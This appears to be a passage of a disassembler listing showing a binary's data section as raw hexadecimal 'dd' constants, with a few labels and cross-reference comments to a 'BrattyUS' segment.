0E31039FFh, 460E0000h dd 3939FF0Dh, 62E82FFh, 3100409h, 7F07000Dh, 60B001Ch dd 0B239FF09h, 5A439FFh, 1D150000h, 0FF280000h, 0C39h dd 21060906h, 7FE1B83h, 0C0FFE292h, 3988FF2Eh, 2B03E4A3h dd 1D0502h, 0A0D2800h, 2F83FF01h, 9060B00h, 3BFF022Dh dd 3987FF54h, 3F8D9FFh, 5022Bh, 1D3E00h, 0A0D2800h, 2F83FF01h dd 9060B00h, 1D3D01h, 0A0D2800h, 2F83FF01h, 9060B00h, 39FF001Ch dd 5700007Ah, 6D8EFC4h, 11079B21h, 0D1D10FFFh, 422F9813h dd 81C1FF02h, 6339C1FFh, 83AD4E03h, 50D8FF1Bh, 77030034h dd 360FF11h, 0D1C5FF13h, 2EDFFF1Bh, 63EDF607h, 21FF4E03h dd 2422F3Ah, 2B121FFh, 0FF1B05CEh, 770550D8h, 0DAEFF40h dd 63DC39FFh, 70C4E03h, 725B340h, 39FF0C56h, 600002Ch dd 11C20709h, 6007D16h, 5120409h, 31070003h, 0E007D0Ch dd 0B9DDFF07h, 39FF0D15h, 2E80FF28h, 10040906h, 7000D03h dd 0B001C7Fh, 39FF0906h, 3C01D1A5h, 0D100001Dh, 0C02h dd 0FFF039FFh, 4E002ED8h, 620783ADh, 0FF001C19h, 0FF358E39h dd 25162138h, 1D5E14h, 66DEFF00h, 1D97FFh, 0DE81FF00h dd 4280000h, 1C1901h, 8814C00h, 1D22h, 0FF09060Bh, 0DAFF5439h dd 89A00B9h, 0F6FF2F3Ah, 1C645BD1h, 17520600h, 6001C19h dd 66DEFF3Bh, 1D0Ch, 4616CB55h, 81FF001Ch, 3139FFDEh, 90603B4h dd 28001C15h, 0FFE339FFh, 6002EDAh, 0E005C09h, 2D10000h dd 0C02D10Ch, 0C480000h, 5500001Dh, 1D3D143Bh, 9A000000h dd 92072508h, 0FFC8CEFFh, 0A5002ED8h, 17030432h, 6001C19h dd 0AC3AFF3Bh, 2EDBFFh, 1C634Eh, 1C631E06h, 504B00h, 0FF002600h dd 5AABD39h, 39FF0276h, 1C7159h, 1C225230h, 0A0D2800h dd 2F81FF01h, 1C0909h, 39FF0227h, 89A00B9h, 7BAh, 92070000h dd 2ED80FFFh, 13FFA400h, 2Fh, 0D1FF0507h, 1C6401FAh, 38010F00h dd 0AFF001Ch, 0FF000054h, 0FF18E409h, 0C80h, 0B000045h dd 39FF0906h, 2ED8FF32h, 1914B600h, 39FF001Ch, 18FF35BBh dd 6471A13h, 134B4810h, 7D1C5FFh, 0FF020470h, 70058C1h dd 7C39C1FFh, 83AD4E03h, 50D8FF1Bh, 77030034h, 38111h dd 80FFF607h, 10211FF4h, 11771021h, 0FF291630h, 3380839h dd 1107054Eh, 403B6FFh, 1002F302h, 10B00210h, 482AAD02h dd 382939FFh, 20204E03h, 21200204h, 770C210Ch, 0C02422Fh dd 1B232106h, 72EDFFFh, 0F510FF23h, 31FF4E03h, 2422F3Ah dd 16D131FFh, 5831FF17h, 0AC5221FFh, 50D8FF1Bh, 0D1FF58ACh dd 0D0D1FFA7h, 7000D03h, 39FF0556h, 12D10991h, 3B729FFh dd 0D1050204h, 0FF167027h, 770C50D1h, 216D8FFh, 0D73AFF41h dd 20C0204h, 0D9FF2705h, 214403D0h, 0D1FF58ACh, 0FF03F9A7h dd 204D73Ah, 5A09FFCEh, 0DDFF2705h, 0D03D0h, 7D053107h dd 3055613h, 16050204h, 5166FF7Dh, 456E031Ah, 1604302Dh dd 0D363337h, 91539FFh, 0FF021004h, 3FFF529h, 0FFFA4590h dd 90603F2h, 65052106h, 0FF17036Dh, 20A91DDh, 725080Ch dd 6097572h, 76650521h, 2DC11703h, 0F0C0C17h, 21FF5F02h dd 0C0C02EAh, 120C0204h, 459D9FFh, 91D9FF02h, 8121FF02h dd 0FF720725h, 0F2FFC8CEh, 6090603h, 35850521h, 91DDFF02h dd 2DC10204h, 2422F5Dh, 0FFF529FFh, 1539003h, 78h, 0D9FF0204h dd 6474651h, 0FF452210h, 0FFF79003h, 0FF18D9C4h, 5021621h dd 1505020Ah, 8100725h, 1007AF5Bh, 7AC1308h, 0FF150D5Eh dd 4739h, 21060906h, 7D139FFh, 0D103FF11h, 7000D03h, 0FF3939FFh dd 0E03F039h, 0E0B6EE5h, 0D03C8h, 0FF00E907h, 0FF84D5C4h dd 39FF9003h, 0E03C90Eh, 0FF5A0725h, 0E03F039h, 111B8321h dd 0DB89D0FFh, 0C5B08h, 21DC4FFh, 0E6FF1B20h, 0C022021h dd 5A072508h, 603C969h, 7250809h, 3C9EE5Ah, 31FF210Eh dd 0FF111BD1h, 0C0C89D0h, 8B29FF06h, 0FFD43AFFh, 44478438h dd 7000D10h, 0C6FF057Fh, 75913F0h, 3C9705Ah, 1D97h, 5162A50Bh dd 0FF9CD1FFh, 51019038h, 269FF4Ch, 0FF2D09FFh, 600006Ah dd 1D09h, 1764F13h, 1FF0118h, 0A0D182Dh, 1D3001h, 0E0B00h dd 641E0600h, 0AFF1105h, 141503D2h, 0CEFF0564h, 90603F1h dd 0F1CEFF05h, 5194E03h, 0FF980519h, 5195ADFh, 24F1CEFFh dd 0DB3AFF00h, 0CEFF0142h, 30024F1h, 0CEFF0198h, 0F0024F1h dd 15051901h, 0F1CEFF05h, 5090603h, 0FFD539FFh, 4E03F1CEh dd 53C053Ch, 642EC0FFh, 0F1CEFF05h, 0B102A403h, 5641425h dd 14000519h, 0CEFF053Ch, 90603F1h, 0CECEFF05h, 53CAA03h dd 3C170519h, 0FF053D05h, 0FF059002h, 0E03CECEh, 1040000h dd 4C053Dh, 14000D00h, 0CEFF053Dh, 0E03CEh, 14000D00h dd 0CEFF053Dh, 0E03CEh, 14000D00h, 0CEFF053Dh, 0E03CEh dd 14000D00h, 0CEFF053Dh, 0E03CEh, 661E0600h, 381316DAh dd 24480024h, 0FF005500h, 131652DEh, 7A002463h, 13166832h dd 48002438h, 550024h, 1652DEFFh, 5013h, 169C327Ah, 243813h dd 55002448h, 52DEFF00h, 24711316h, 6C327A00h, 381E0603h dd 24480024h, 0FF005500h, 0F71652DEh, 0FF004964h, 49645BD1h dd 5E012700h, 64055E05h, 1760024h, 27002464h, 499001h dd 49900176h, 90012700h, 10A0024h, 45002490h, 39FF0000h dd 906035Bh, 450049h, 0A139FF00h, 45002409h, 39FF0000h dd 0FF050987h, 25080285h, 5014h, 0CBED39FFh, 49090603h dd 4500h, 0CBF339FFh, 49090603h, 39FF2800h, 0FF11A59Eh dd 104037Bh, 4F010F4Fh, 3D239FFh, 22089A00h, 0A280024h dd 499001h, 5E010A28h, 2A4F1405h, 59002FFh, 56FF5Eh, 5090600h dd 0C0FF1B1Ah, 0E3053C2Eh, 3DBA403h, 1D6917h, 10F1900h dd 1D69h, 24380104h, 3D010F00h, 40053D05h, 1A053D8Eh, 1C053D01h dd 3C140000h, 1F2305h, 18012700h, 3D239FFh, 25089A00h dd 1D6914h, 4F140000h, 414C5101h, 2D09FF01h, 600009Fh dd 3D0509h, 70855700h, 107E3AFFh, 80FF471Ah, 1F2327B9h dd 630521h, 0FF053107h, 5F39h, 0FF0D460Eh, 6006439h, 80CFF09h dd 0CEFFDF3Ah, 104403CEh, 258687FFh, 660C7F07h, 0F639FF09h dd 1F23h, 800513h, 804800h, 0FF0A0400h, 27D1h, 81D8FF04h dd 8039h, 802246h, 0FF5B2600h, 23DDh, 0DDFF1E06h, 0FF000023h dd 0ACD1h, 0FF3239FFh, 0FF000096h, 4C5288h, 80051300h dd 80480000h, 0A040000h, 27D1FFh, 0D8FF0400h, 4C0181h dd 0FF38FF00h, 13D1DAFFh, 5028CACh, 67120448h, 1E06AC26h dd 27D1FFh, 0FF304B00h, 0D1FF8C39h, 0F000027h, 0F1CEFF01h dd 20A00AFh, 48121FFh, 0F1CEFF01h, 250400AFh, 0F1CEFF14h dd 0FF0000AFh, 0E981h, 0AF381E06h, 0ACD1FF00h, 0CEFF1425h dd 0AFF1h, 0AF3814h, 0CBF039FFh, 38010403h, 10F00AFh, 23DDFFh dd 0FF1E0600h, 23DDh, 0ACD1FFh, 0C739FF00h, 96FFh, 715288FFh dd 5F700AFh, 67120448h, 800526h dd 804800h, 0FF0A0400h, 27D1h, 81D8FF04h, 0AF7101h, 19A38FFh dd 0FF25C1FFh, 220807C5h, 32ED0Ch, 1C090600h, 5BD1FF00h dd 2700009Fh, 94391001h, 7AC1300h, 0FFB9DBFFh, 10AB439h dd 2421FFh, 400006Fh, 21D1FF01h, 25040000h, 21D1FF14h dd 0FF000000h, 80FFDD81h, 0C1FF17D8h, 6034825h, 4009410h dd 10A0D05h, 0FF2469FFh, 62AA031h, 0FF007939h, 50217D1h dd 79480079h, 0FF0A0400h, 23D9h, 81D8FF04h, 13007939h dd 27D1FFh, 0FF304B00h, 17231239h, 27D1FFh, 2A010F00h dd 10A00AFh, 23D9FFh, 0AF156F00h, 14250400h, 0AF2Ah, 0ED81FFh dd 231E0600h, 0D1FF0000h, 2A1425ACh, 140000AFh, 0FF000023h dd 23AC39h, 0FF010F00h, 23DDh, 0D9FF1E06h, 4B000023h, 8139FF30h dd 6F009522h, 5010501h, 0FF051425h, 0C4FFDD81h, 390603D9h dd 0D1FF0095h, 95050217h, 954800h, 0FF100A04h, 953981D8h dd 0D1FF1300h, 4B000027h, 3139FF30h, 0FF0104FDh, 27D1h dd 0C1FF010Fh, 10A0021h, 951510h, 0AF1528h, 0FF142504h dd 21C1h, 0FF8581FFh, 21C5h, 25ACD1FFh, 21C1FF14h, 0FF140000h dd 21C5h, 34239FFh, 0C5FF0104h, 0F000021h, 2021FF01h, 1E060000h dd 0DBFF0710h, 0B739FFB9h, 6F009522h, 3E29FF01h, 1040000h dd 3E29FFh, 14250400h, 3E29FFh, 81FF0000h, 32F2FDDh, 0FF0C1400h dd 220807DDh, 1326001Ch, 0FF52DDFFh, 2039h, 952A13h, 2313h dd 27D1FF13h, 304B0000h, 0D22239FFh, 0C010403h, 1A01h dd 0D1FF0104h, 0F000027h, 21D9FF01h, 95150000h, 2A010A00h dd 280095h, 1A14h, 29FF010Ah, 28000020h, 400AF15h, 0D9FF1425h dd 21h, 0FF9581FFh, 21DDh, 25ACD1FFh, 21D9FF14h, 14000000h dd 21DDFFh, 5639FF00h, 0FF010403h, 21DDh, 21FF010Fh, 20h dd 952A14h, 4B339FFh, 2039FF0Ah, 55A80000h, 0C5FF1303h dd 13000020h, 20C1FFh, 5ADFFF2Eh, 20C1FFh, 10F1919h, 20C1FFh dd 0C1FF0104h, 550020h, 0BB009575h, 1C30000h, 8C000078h dd 801132h, 3AFF7100h, 2A0104CAh, 0BB0095h, 0FF0A0400h dd 20C5h, 0DCFFC676h, 80D5h, 0C5FF0104h, 19000020h, 0C5FF010Fh dd 0FF000020h, 0FF01463Ah, 20C5h, 0D2FF7430h, 2E000027h dd 952AFDh, 1A010A0Dh, 13260000h, 0AB9DDFFh, 1A01h, 10A2926h dd 23C1FFh, 10A2926h, 0FF2469FFh, 1907A0D9h, 0F100104h dd 12D1001h, 78FFh, 7801h, 10140028h, 220411FFh, 0FE0Ch dd 22080906h, 5D260094h, 0D037B01h, 0CEFF010Ah, 260095F1h dd 1A010A29h, 0E0B0000h, 1A010A0Dh, 0E0B0000h, 95F1CEFFh dd 0A292600h, 1A01h, 10010E0Bh, 0FF10010Fh, 3D239h, 9522089Ah dd 10A2800h, 2600F0h, 0FF010A0Dh, 0FF1B25C5h, 60000AEh dd 94220809h, 15D2600h, 3D38BFFh, 0AF3906h, 1A01D7h, 6031600h dd 2E00AF39h, 505ADFFFh, 19190000h, 50010Fh, 50010400h dd 550000h, 352DEFFh, 952A17h, 0C30000BBh, 7801h, 8011328Ch dd 4710000h, 10F6601h, 1042166h, 0BB00952Ah, 7D760000h dd 4645D08h, 952A01h, 0C30000BBh, 952AB506h, 0BB00h, 29FF06C3h dd 2A8E1BFFh, 0BB0095h, 0FF06C300h, 952A8E29h, 0BB00h dd 0C6660A04h, 80D5DCFFh, 1040000h, 66010F66h, 0FFCEFFh dd 1040000h, 0D2FF7466h, 22000027h, 0F000080h, 20DDFF01h dd 39060000h, 882E0095h, 20D9FFh, 10F1900h, 20D9FFh, 2A010400h dd 1AC30095h, 20D9FF01h, 0DEFF0000h, 104035Ch, 20DDFFh dd 281900h, 5E2DC4FFh, 0AF2204FFh, 0D0E0B00h, 0AF64010Ah dd 5E0E0B00h, 0FF1704FFh, 20DDh, 0D0E0B19h, 0DDFF0104h dd 19000020h, 81010E0Bh, 29260000h, 81010Ah, 0D0E0B00h dd 81010Ah, 5E0E0B00h, 0FF1704FFh, 20DDh, 810E0B19h, 22260000h dd 0FF58D8FFh, 20DDh, 0F100104h, 39FF1001h, 9A0003D2h dd 12D7A08h, 78FFh, 7801h, 10140028h, 2204DDFFh, 110Ch dd 906h, 0FF010A0Dh, 0D9FF2469h, 54DEFFA0h, 10A0D03h, 0E0B00F0h dd 0F00110B3h, 0D0E0B00h, 0F0010Ah, 1C7F0E0Bh, 0FF002800h dd 5184D1C4h, 95F1CEFFh, 0D0E0B00h, 0CEFF010Ah, 0B0095F1h dd 1001040Eh, 0FF10010Fh, 3D239h, 2D7A089Ah, 78FF01h, 780100h dd 14002800h, 0FF517E10h, 0DEFF25C5h, 38C5FFADh, 0A0D037Bh dd 0F1CEFF01h, 29260095h, 1A010Ah, 0D0E0B00h, 1A010Ah dd 0FF0E0B00h, 95F1CEh, 10A2926h, 0B00001Ah, 0F10010Eh dd 39FF1001h, 9A0003D2h, 952208h, 0F0010A28h, 0D002600h dd 0C5FF010Ah, 0B3FF25h, 3090600h, 0B001C15h, 15030906h dd 0B000080h, 906h, 9505028Ch, 954800h, 0FF100A04h, 7B81D8h dd 5028C00h, 79480079h, 0FF0A0400h, 23D9h, 81D8FF04h, 110013Eh dd 0D00009Fh, 25089A00h, 0FF011014h, 10525C1h, 6B25C5FFh dd 0ABFFh, 640C0906h, 88FF0000h, 0AF6352h, 44805F7h, 5266712h dd 48000080h, 4000080h, 27D1FF0Ah, 0FF040000h, 630181D8h dd 120400AFh, 0D1FF030Ch, 81FFD88Eh, 0EFFF400Eh, 0EC39FF0Dh dd 7054E98h, 7006340h, 39FF0531h, 0D15F592h, 9BB39FFh dd 2041004h, 1704C205h, 44472605h, 7000D10h, 0B00247Fh dd 39FF0906h, 24390615h, 0D41300h, 60C1300h, 13004939h dd 24390605h, 3C882E00h, 0F190024h, 243C01h, 243C1E44h dd 3000000h, 352DEFFh, 0FF010A29h, 3C142DD1h, 0FF000024h dd 0D2F35C4h, 0D1FF010Ah, 662062Dh, 0D4018A09h, 3160000h dd 0FF010A0Dh, 6EFF2DD1h, 0ED1C0FFh, 29FF0142h, 1600002Ah dd 10A0D03h, 0FF2DD1FFh, 0D1C0FF4Fh, 501420Eh, 82BA03h dd 24390600h, 242200h, 806FF45h, 0C4FF0029h, 8A0718D9h dd 246401h, 14000316h, 2419h, 18F9C4FFh, 22002419h, 0FF450024h dd 290806h, 18D9C4FFh, 0C018A07h, 19142503h, 0FF000024h dd 118F9C4h, 496020h, 4B00004Bh, 4B0000h, 4B00h, 0FF00004Bh dd 0FF659C39h, 603D10Ah, 0FF1B051Eh, 660116DDh, 8A2E08ABh dd 8AB6601h, 2A29FF13h, 24480000h, 8AB1900h, 50018A2Eh dd 0AB640000h, 1B0C1308h, 116DDFFh, 1900004Ch, 8A2E08ABh dd 4C01h, 1308AB64h, 48002464h, 0AB190024h, 18A2E08h, 64002471h dd 0D41308ABh, 24480000h, 8AB1900h, 63018A2Eh, 0AB640024h dd 66142508h, 5014h, 4C1400h, 71140000h, 14000024h, 0D002463h dd 245E010Ah, 9060B00h, 39FF0024h, 0D8EFC4BCh, 0F553A16h dd 40070502h, 31070063h, 9039FF05h, 0FF0D15F5h, 409B939h dd 42F2E10h, 2040502h, 48448F05h, 5C1204CCh, 0FF070050h dd 0FF722EC1h, 0CD85h, 2500906h, 1A448F05h, 0F1CEFF1Bh dd 5C050204h, 71A441Bh, 722EC1FFh, 23F6CEFFh, 40090600h dd 3AFF15FAh, 4854C449h, 7590700h, 0FF09055Ah, 1303BBD9h dd 23D0C1FFh, 0E9075907h, 99F39FFh, 89D0FF11h, 23D3C1FFh dd 0E9075907h, 0FD39FFh, 9060000h, 89D0FF11h, 23D2C1FFh dd 0E9075907h, 0DB39FFh, 9060000h, 89D0FF11h, 23D5C1FFh dd 0E9075907h, 1D3939FFh dd 9060000h, 89D0FF11h, 47128CFFh, 9B6969FFh, 2586D1FFh dd 0D57F07h, 0FF09060Bh, 0FF036739h, 12DDE88h, 11FF330Ch dd 0FF00D55Ch, 464191F2h, 3EC9C4FFh, 7368h, 73681E06h dd 7000000h, 0FF0A1062h, 655700E6h, 0D03A8FFh, 9F010Ah dd 0BD222600h, 9F5B2600h, 1E060000h, 4B00009Fh, 0FF000000h dd 103EE1C4h, 0E6FF19h, 70716557h, 0FF011503h, 0CEFF3E69h dd 0D1DAFFFEh, 0B7DDFF13h, 4580000h, 9F01h, 4561904h, 73905Bh dd 731500h, 2600h, 3ED9C4FFh, 0CEFF0700h, 681400CEh, 73h dd 3EE1C4FFh, 0E709FF10h, 65570000h, 616B0109h, 3160000h dd 31FF0115h, 6F000038h, 45000061h, 0FF000000h, 7348DC4h dd 0CECEFFh, 736814h, 0C4FF0000h, 44103EE1h, 655700FEh dd 0FF01BCFFh, 3E01h, 3920010Fh, 51300D5h, 10400D5h, 0FF9C4C10h dd 3AFF900Bh, 60B002Eh, 0F700BD09h, 6168h, 141E0A46h, 0FF000061h dd 30C87A22h, 0FF00BD39h, 11FFE2D1h, 0C800BD5Ch, 6168010Ah dd 0B0B0000h, 0B00000Eh, 0E0Bh, 39FF5B26h, 0A000038h, 0BD4301h dd 0B788FF0Bh, 39300000h, 0FF000073h, 11FFE2D1h, 735Ch dd 0FF010AC8h, 3E19h, 0E0B0Bh, 74010F00h, 10A0000h, 3E19FFh dd 88FF0B00h, 150000B7h, 0FF010A03h, 3E01h, 0FF000026h dd 0FF0199C4h, 3985h, 3B100104h, 1AF138FFh, 3985FF13h dd 1B000000h, 0FF52D8FFh, 3985h, 85FF174Bh, 30000039h dd 3E01FF74h, 20170000h, 0FFF5D1FFh, 0FF6DDEDEh, 1A205A11h dd 9FF010Fh, 4000038h, 3809FF01h, 0A0A0000h, 3E01FFh, 10FF2B00h dd 85FF01EAh, 3E000039h, 1040000h, 3809FFh, 0FF197600h dd 39FF11DDh, 0DEFF38D5h, 11FF6DDEh, 3809FF5Ah, 1A0A0000h dd 0A05020Fh, 3E01FFh, 10FF2B00h, 85FF01EAh, 3E000039h dd 7000000h, 1F05h, 6D200104h, 52D8FF19h, 54DEFF70h, 53FF5303h dd 600100BDh, 190400D5h, 74EAC1FFh, 111B0000h, 2F2AFFh dd 0BD275300h, 0D5600100h, 0FF190400h, 7401EADDh, 111B0000h dd 2F0BFFh, 0FF010400h, 3809h, 7A087DD1h, 0DE1166FFh, 7B5C66FFh dd 1550000h, 0DDFF1920h, 7401EAh, 0FF110700h, 4000077h dd 3809FF01h, 7DD10000h, 66FF7A08h, 66FFDE11h, 0BDA15Ch dd 19200155h, 1EADDFFh, 3839FFh, 3E110700h, 0FF144114h dd 3821h, 85FF1400h, 39h, 6000507h, 58B83209h, 0EB3D13h dd 3D882E00h, 190000EBh, 0EB3D010Fh, 1040000h, 0EB3Dh dd 0BB750055h, 6530000h, 7DC29FFh, 556h, 0FCD1FF8Ch, 50204h dd 0FF065300h, 5607DB29h, 8C000005h, 4EFD1FFh, 502h, 1780153h dd 0EB3Dh, 0FFD1FF8Ch, 3D5C3AFFh, 170000EBh, 0EB3Dh, 85FF010Fh dd 0FF000039h, 104DC3Ah, 0EB3Dh, 3D010F19h, 40000EBh, 502h dd 1780153h, 3985FFh, 5120400h, 0FF760000h, 3AFF59D8h dd 0EB3D019Ah, 6530000h, 4AE29FFh, 502h, 29FF0653h, 40AEFFCEh dd 50239h, 5120400h, 0FF760000h, 10459D8h, 3985FFh, 10F1900h dd 3985FFh, 513AFF00h, 3985FF1Eh, 4B0000h, 2001040Dh, 5E013E18h dd 0B0000EBh, 4030906h, 3E182001h, 3681FF01h, 0C488FFh dd 0D5090600h, 0FF19D100h, 7A0881D3h, 811166FFh, 0D16E0000h dd 0FF7A087Dh, 811166h, 4500h, 0FF09060Bh, 0FF000036h dd 0FF5E5169h, 26000036h, 36FF5Eh, 11320A00h, 2E39FFh dd 0FF09060Bh, 45002E39h, 60B0000h, 9A000309h, 3B101708h dd 37938FFh, 5E5169FFh, 36FFh, 0B010F3Dh, 3985FF0Bh, 3750000h dd 50204h, 39FF2800h, 39FF09BFh, 45002Eh, 9060B00h, 89A0003h dd 0FF3B1017h, 104E53Ah, 0B5B160Bh, 7E38FFh, 68140000h dd 73h, 3EE1C4FFh, 0E0C4FF10h, 85570000h, 3A33FF1Ah, 478E31FFh dd 0FF031006h, 1F1A0B39h, 37E0521h, 0FF1B9B13h, 72072EDFh dd 422F1F62h, 1703E802h, 211A3D05h, 0C1FF3198h, 242D658h dd 7000D0Ch, 0D911FF0Ch, 309060Bh, 5310700h, 556137Dh dd 80B11FFh, 302D9317h, 33371604h, 39FF0D36h, 6000049h dd 8100409h, 0D15A0725h, 5210E03h, 0FF1F0507h, 54C4E2D3h dd 0FF5A073Bh, 210E03E6h, 0BBD3FF05h, 1AFF39FFh, 5075913h dd 39FF461Fh, 59131AC2h, 2C1F0507h, 0F211FF33h, 3A29FF02h dd 0C4E2D3FFh, 0C4FF0054h, 115D087Dh, 0FF89D0FFh, 47128Ch dd 125A07h, 0FFA50000h, 0FF5A2EC1h, 1Eh, 332688FFh, 128CFF36h dd 5A80FF47h, 1124C00h, 54E0000h, 0BCFF3E10h, 81FF0303h dd 0D69FFB5h, 0FF8782FFh, 0C4FF2ED3h, 0D3255225h, 0FF900AFFh dd 3900Ah, 2 dup(900BFFD3h), 612208h, 9060B00h, 2E000061h dd 3F09FF88h, 0F190000h, 3F09FF01h, 1E060000h, 3F09FFh dd 0A4DBFF00h, 9A000D00h, 612208h, 0FF5B6F00h, 1E063CC1h dd 483CC1FFh, 40400718h, 2FFDF9Fh, 39FF002Fh, 0FF001D0Ch dd 8C801539h, 39FF0000h, 0B808h, 4E39FFh, 3A081500h, 0A8FFh dd 900BFF0Eh, 0FF0E0000h, 900Bh, 72FF000Eh, 0DEFF3ABDh dd 72FF004Ah, 113ABDh, 0BD72FF00h, 4B2AFF3Ah, 0BD72FF00h dd 0FF010A29h, 3F31h, 0C4FF006Fh, 0FF5D0841h, 0FF3AB9C7h dd 0E03D031h, 6122h, 0DDFF4E0Bh, 3AFF003Ch, 0FF0104DCh dd 3D003CDDh, 0DDFF010Fh, 1E06003Ch, 3CDDFFh, 39FF294Bh dd 0FF0E034Eh, 53003CDDh, 6111h, 8D29FF06h, 3CDDFFh, 6111320Ah dd 1F450000h, 39FF2908h, 0CF40F48Eh, 7939FFh, 0FF010A00h dd 45003CC5h, 0FF3A4608h, 60000B2h, 6000009h, 6139h, 2422013h dd 6CCA0D05h, 60E0B00h, 7007201Eh, 0FF2E5206h, 7205262h dd 0B81EFFF6h, 450000h, 10F200Eh, 0FF7EFF20h, 0A03C1D1h dd 3E39FF01h, 0B0B0000h, 610906h, 411E0600h, 52D8FF1Bh dd 0D8FF0741h, 552h, 733906h, 732200h, 0FFA40B00h, 2E8Ah dd 7000D0Dh, 9060010h, 55239FFh, 0D0D0000h, 100700h, 39FF0906h dd 86A0552h, 0C0FF1B03h, 0AFF27B9h, 0E000090h, 4034608h dd 0B521FF12h, 8F8EFF03h, 9084717Ch, 0A069FF84h, 846B7C00h dd 7C25089Fh, 7C25087Bh, 7C250874h, 7C250881h, 84A18443h dd 84E2847Eh, 7C00849Ch, 84328427h, 84698430h, 841B7C3Bh dd 80FF4F4Fh, 5E0A98ECh, 0A3D9FF38h, 0FFFCFF98h, 103C1D1h dd 0FFECD0FFh, 7503C1D1h, 1A310409h, 81D12FFh, 7CA07C25h dd 4F4F4F0Dh, 0C5FF383Ch, 3C0478DAh, 0E2DDFF38h, 0E72603FFh dd 26D9FF38h, 3AFF35E7h, 56C23881h, 0D9FF38h, 0FF0038FFh dd 3BFF000Ah, 0DA09FF00h, 2CA418FFh, 40C5FF6Ch, 0D2C1FF6Ch dd 0A6DDFF3Eh, 0D9FF383Ch, 0CAC1FFA7h, 0FAC5FF38h, 0D9FF383Ch dd 0F585FFCAh, 0FF26DDFFh, 9FF260Bh, 8AD1FF52h, 82FF4F4Fh dd 3C047887h, 0E2C1FF38h, 3C04E72Ch, 26DDFF38h, 8E38AEE7h dd 0DDFFC238h, 38FF00h, 0FF000AFFh, 9FF003Bh, 0A418FFDAh dd 42A6C2Ch, 0C5FF38E6h, 0D2FFEB26h, 0C1FF3E00h, 0DDFF38A6h dd 0FF8C04A7h, 6C7C8A8Fh, 827C2508h, 1DD1FF08h, 4354F4Fh dd 0C5FF383Ch, 0AC11FFDAh, 2C26C1FFh, 5B520BFFh, 58C5FF38h dd 0FF23C238h, 2C2AAC11h, 0FF2609FFh, 385B520Bh, 0F585FF23h dd 11DAFF2Ah dd 5E042A07h, 3C042A38h, 0E2C5FF38h, 0E72603FFh, 0FF383C04h dd 0FF0426C1h, 4083A02h, 385A09FFh, 85FF042Ah, 0FF388EF5h dd 0FF00C1h, 3B00FF08h, 0FF0900FFh, 0C070ADAh, 0E6236C2Ch dd 0EB2C2A38h, 3E00D2FFh, 3CA6C5FFh, 0A7C1FF38h, 79EFF8Ch dd 0BFF2C2Fh, 5209FF26h, 258AD1FFh, 0A08DFF7Ch, 0FFA089FFh dd 81FFA085h, 3D7C00A0h, 19843C84h, 66846484h, 2508507Ch dd 25084C7Ch, 3884637Ch, 3031584h, 3037C6Eh, 0FF38A00Fh dd 29FF81DDh, 4F4FA0h, 6C5A381Bh, 0FFD8EF03h, 0FB0552DDh dd 83FF7F04h, 0C0FF00B9h, 0FF020454h, 0D9FF87DDh, 0DDFF6781h dd 54D9FF81h, 5CC5FF07h, 725606Fh, 0FF031A05h, 479B1318h dd 0AF121006h, 5A075907h, 3D1DFFFh, 21FF020Ah, 3C040BB9h dd 0FF041A38h, 0F9B5220h, 3C1A97FFh, 16DDFF38h, 0F3E6870h dd 0D9FF97FFh, 47098A5h, 8C81D9FFh, 9B138FFFh, 0FF5A87FFh dd 383C9039h, 1BD0D9FFh, 3987FF2Fh, 2F63FFh, 8FFFAA00h dd 3C041A13h, 0E7041A38h, 1A9FFF1Ah, 0F9B8F19h, 0D9FF97FFh dd 3E687054h, 81D9FF04h, 138FFF8Ch, 5A87FF1Ah, 0FF97FF04h dd 687016D9h, 4701B3Eh, 7781D9FFh, 2F54DDFFh, 0FF2E87FFh dd 0FF0861C4h, 0FF848FD1h, 842AA0C5h, 0D23920FFh, 27D1FF03h dd 0D9FF383Ch, 0FF2F1BD0h, 0E0FF3987h, 0FFAA0000h, 1A138Fh dd 2508237Ch, 0F1CEFF7Ch, 0FF0A0A84h, 27D1h, 5539FFh, 5C12FF00h dd 0AAA39FFh, 23D9FF0Ah, 39FF0000h, 100A0ABEh, 0B2FFh dd 756912FFh, 300001Dh, 2 dup(3030303h), 0FF030303h db 0CEh, 0D1h word_3F77DE dw 5454h ; DATA XREF: BrattyUS:off_3DF408o dd 54945454h, 54A45454h, 0ACAC546Ch, 54549494h, 54EA9A54h dd 6C545428h, 94949470h, 54545454h, 94945454h, 9C949C94h dd 949C949Ch, 0B99494ACh, 94949494h, 5050D0D5h, 44395439h dd 90859450h, 94504590h, 68949094h, 5D446854h, 3954395Dh dd 94D19444h, 94945494h, 94949494h, 0D0549494h, 94949454h dd 9CD99454h, 94D9D138h, 94848494h, 94909484h, 515451DFh dd 0DCDE5154h, 94949494h, 546C1894h, 94946C54h, 5C549C94h dd 84948494h, 54948494h, 949494D9h, 94549411h, 94949494h dd 945454D0h, 94949454h, 28545494h, 54542854h, 3 dup(54545454h) dd 0AC6C5454h, 94949494h, 54909494h, 6C6C5454h, 54545454h dd 94949454h, 5A94BBBBh, 94999094h, 4 dup(94949494h), 94945894h dd 2 dup(94949494h), 94379494h, 9 dup(94949494h), 94C09494h dd 2949494h, 10909094h, 54549494h, 2ED15454h, 54545454h dd 5454D0EBh, 94A99454h, 94949454h, 94949494h, 94999494h dd 9494545Dh, 0AC3094B4h, 9454C0D0h, 94949454h, 945459ACh dd 9494AC94h, 549494ACh, 0AC949454h, 94949494h, 94ACAC94h dd 54549494h, 54945454h, 54545454h, 54549494h, 95859526h dword_3F7968 dd 0A1A1A1A1h, 9D8DA1A1h, 275454D1h, 2AA1A5B5h, 35E4D02Ah ; DATA XREF: BrattyUS:003DF40Co dd 0D7D654D1h, 0A12EA1E1h, 3AB1B1B1h, 0A13A3A3Ah, 0B228A1A1h dd 0E2F1F1F5h, 0D1F1F1F1h, 942A746Ch, 0D0D75454h, 0D0D0D0D0h dd 0D01894D1h, 27277417h, 0DA393974h, 2E742FA1h, 55B590D1h dd 0D0D07455h, 0D0D0D0D0h, 0D0D0D0D9h, 0D0D0D0D0h, 90D05AD0h dd 3ABA9090h, 9090D03Ah, 0D0D0D08Ch, 2CEF5454h, 547454D1h dd 0B0755AD0h, 54C75454h, 742EF1D0h, 0B45555B4h, 0D974C8E2h dd 0D1D052D9h, 0D5A1FFD0h db 0A1h, 81h word_3F79FE dw 0B43Dh ; DATA XREF: BrattyUS:003DF410o dd 549C5494h, 54745454h, 115C5C54h, 5C5C5C74h, 5454746Ch dd 54381054h, 5C545C5Ch, 6C5C5454h, 0ECEC943Dh, 802994ECh dd 54B45454h, 943D54ACh, 3D1594ACh, 9494ACACh, 94941515h dd 94AC3D15h, 3D159494h, 